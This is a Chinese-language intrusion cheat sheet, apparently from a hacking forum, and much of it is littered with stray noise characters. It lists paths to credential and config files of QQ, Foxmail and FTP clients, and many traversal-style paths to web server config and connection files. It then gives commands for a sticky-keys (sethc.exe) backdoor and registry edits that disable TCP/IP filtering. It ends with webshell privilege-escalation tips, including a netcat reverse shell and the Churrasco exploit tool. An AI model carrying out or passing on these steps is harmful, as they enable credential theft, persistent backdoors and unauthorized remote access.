1 ^, C; u+ A, X: vc:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
# \& F) Y; s+ y! V4 ]  x3 V; M, {C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
2 Z( s7 Z/ @& J- C5 A+ ]6 Vc:\Program Files\Tencent\Tm\Bin\Txplatform.exe
/ s. n! j- I  J% p5 tc:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
) Y- h" n5 q' ~; t& e1 bC:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
1 n8 l  S+ B  I% D  H" \C:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
! R4 S) n1 C. k8 w! @) }c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
7 \) _& n2 T  `9 @5 e0 fc:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
7 f1 k- {" o6 v% P1 @3 Tc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
- m- ]  X# u( I6 Fc:\Program Files\tencent\QQGAME\readme.txt
9 l  H" B( c! `# `( ?& k* ]C:\Program Files\StormII\Storm.exe

7 ]# v/ f) ]: q, i7 a. F! |" s3.网站相对路径:
; i: K) ], Q0 Z8 C
/config.php
../../config.php
../config.php
5 E! K3 p  ^+ h0 l../../../config.php
/config.inc.php
# Z7 j+ _/ z: T* r./config.inc.php
../../config.inc.php
1 Q) N- W( Z/ C) H0 s( A- }2 F../config.inc.php
! X! p# ?0 h  S( C) Q2 d../../../config.inc.php
5 w! E( C+ J4 ~5 b1 Y2 ~0 {/conn.php
" s3 D7 X/ y. {5 n4 o+ h./conn.php
( z; ^, r1 W$ N% c$ D: O7 s../../conn.php
../conn.php
) D. n8 J' J% c../../../conn.php
/conn.asp
' n% Q1 x# P( x9 I, F/ l./conn.asp
../../conn.asp
; ~4 \0 Z9 N0 R2 T  \" S../conn.asp
, l; _( P2 V% _9 Q+ I# R../../../conn.asp
/config.inc.php
5 _% F: D+ ~7 K' Z2 c: N./config.inc.php
../../config.inc.php
8 J$ _) P7 A* n/ ], B0 i! Z../config.inc.php
* t* r9 R8 A# }8 l& v  M* s../../../config.inc.php
/config/config.php
../../config/config.php
( l* L$ e2 x8 x" W" B+ [- Z../config/config.php
../../../config/config.php
6 z8 P3 J! l% h% X% k/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
9 g& I0 k& _: m" O' v../../../config/config.inc.php
1 R# V; k5 O: Q; C) F* o& k* ^" C/config/conn.php
; A: l% m/ L1 }8 ^# l0 ]2 m  ?3 x./config/conn.php
: O9 l2 K4 h$ K2 e) ]$ i  [& d../../config/conn.php
../config/conn.php
  ^9 g  N, e! N+ s# A$ `+ ]../../../config/conn.php
/config/conn.asp
4 D9 ]  C+ d8 K& e./config/conn.asp
: ]+ U: j1 f1 u- Q6 s! O* c( d../../config/conn.asp
../config/conn.asp
+ |5 x1 B3 Y2 _9 k. f+ H../../../config/conn.asp
9 @9 {2 R0 p$ `) W. S/config/config.inc.php
./config/config.inc.php
/ x* }  `& o- c3 r6 L* }4 V( ]../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
4 m; Q" c4 s- ]/ h+ N/data/config.php
../../data/config.php
../data/config.php
../../../data/config.php
/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
6 ?) v) @3 }9 f' P! t2 [6 Q& B../data/config.inc.php
../../../data/config.inc.php
/data/conn.php
  e8 e' G6 x/ n8 V( H4 W./data/conn.php
../../data/conn.php
( N1 g6 }2 D: C9 p../data/conn.php
../../../data/conn.php
/data/conn.asp
/ {/ {5 [% J; y# U7 d7 k$ y./data/conn.asp
../../data/conn.asp
- F  R0 y0 ~2 o3 g../data/conn.asp
../../../data/conn.asp
/data/config.inc.php
; l5 s  ^" s% F' [./data/config.inc.php
. z) [9 P  t1 m% ?) a: g9 C' F../../data/config.inc.php
+ e# M# v, H# O. v1 c* J../data/config.inc.php
: }- D% p3 _$ K0 _../../../data/config.inc.php
1 k; \3 W9 O9 r6 Z% m2 p4 |  x6 n/include/config.php
, R7 }0 T. J7 \5 K! {../../include/config.php
../include/config.php
' C, a) {# R) D../../../include/config.php
( G. g* e! r% c- K9 ^9 c+ S/include/config.inc.php
, d$ ~6 R8 l' d  v9 j./include/config.inc.php
$ U* z9 s; w; r  f; B../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
1 t& Z( s8 v) O5 t0 Q: e6 {/include/conn.php
./include/conn.php
0 L9 p2 B* M0 z../../include/conn.php
../include/conn.php
3 a/ V' j5 F; O- y3 X6 a2 }: E6 w) P../../../include/conn.php
2 U( b7 b! j3 _. ^/include/conn.asp
7 c+ |% z; h( T2 ?9 \8 \./include/conn.asp
; O9 E% L7 F# ~- i4 r$ w: N' Y../../include/conn.asp
../include/conn.asp
: t! U. S* y  H: E../../../include/conn.asp
- r' V2 k2 p$ G# q$ x2 A3 ]  r3 t# C/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
0 S: r7 V. h% n( y9 t' m& O../include/config.inc.php
* h4 d0 s8 ^! ^+ O/ H../../../include/config.inc.php
$ I. Q# x# h5 P$ n  Q0 J9 o* e$ v6 W/ J! T/inc/config.php
  i/ N2 i0 K4 A, W$ a$ Q2 l../../inc/config.php
../inc/config.php
8 n( O7 j9 e/ N8 Q0 q../../../inc/config.php
5 v# m. A) U4 I3 x/inc/config.inc.php
; h$ h+ `) M/ w8 @  Y/ A' {./inc/config.inc.php
$ {) ?# y* ^# D3 H& N../../inc/config.inc.php
! f6 g. c8 Q8 a5 B" r../inc/config.inc.php
../../../inc/config.inc.php
/inc/conn.php
! U5 p) Q, G$ t( R# R. P./inc/conn.php
../../inc/conn.php
../inc/conn.php
../../../inc/conn.php
/inc/conn.asp
./inc/conn.asp
../../inc/conn.asp
9 N/ }$ B5 P/ h' r' G9 |4 V../inc/conn.asp
# f* q! G% B% ^../../../inc/conn.asp
2 P# B, O! Z8 {3 O/inc/config.inc.php
9 F6 j0 |3 e0 [  i" r./inc/config.inc.php
6 {) p. x9 b, {$ }../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
( [! J8 j1 b1 H. s6 q/index.php
./index.php
../../index.php
../index.php
../../../index.php
/index.asp
./index.asp
8 W0 G- M5 z0 {, h/ t4 b, o# o3 i../../index.asp
# l! m! P1 q+ `) l& v../index.asp
../../../index.asp
& D8 [* u- z# S! K' M6 z替换SHIFT后门
" l' }' T8 ]) ]) c- A; o　attrib c:\windows\system32\sethc.exe -h -r -s
# H1 [4 J6 t7 N# y  J& O& b
- z( G5 q! K. k, k9 A9 k( ~　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
" ?# X' E9 @. D) y: P4 c
　　del c:\windows\system32\sethc.exe

5 P1 Z8 A' d* I$ O8 s9 `! m1 u  E  z　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
3 c5 e$ v3 [1 o$ U' q! c$ x
　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

　　attrib c:\windows\system32\sethc.exe +h +r +s

　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
9 z1 Q! @6 F) y+ R& _- @6 b去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
. a$ e4 H, S; u( H8 {2 LHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
  X# I) R5 q& m3 ]7 |) D8 w' a' EHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
/ J) `; ~" c( u
分别用
3 a3 l2 r- x0 n" L. cregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
0 \0 p# ]- l2 }: @4 Mregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
! t+ D+ R7 [; \4 U命令来导出注册表项

8 l! ~4 f8 w! \  `然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

再将以上三个文件分别用
regedit -s D:\a.reg
regedit -s D:\b.reg
regedit -s D:\c.reg
  \* W( ^6 J1 a+ v5 `导入注册表即可

webshell提权小技巧
cmd路径:
c:\windows\temp\cmd.exe
& L" w7 |* r5 }( T; v- g$ B" V$ L* C5 Rnc也在同目录下
3 c# D; G& ~! q# Z6 l% g例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
9 K1 K/ ]: g% S2 S0 U通常都不会成功。
# t/ v- K" e0 w
而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
9 |5 k' M" N( g命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
" z& ?) d3 a$ h- k5 g% i这个不是重点
* g! j1 n+ z% N, i/ L: E我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功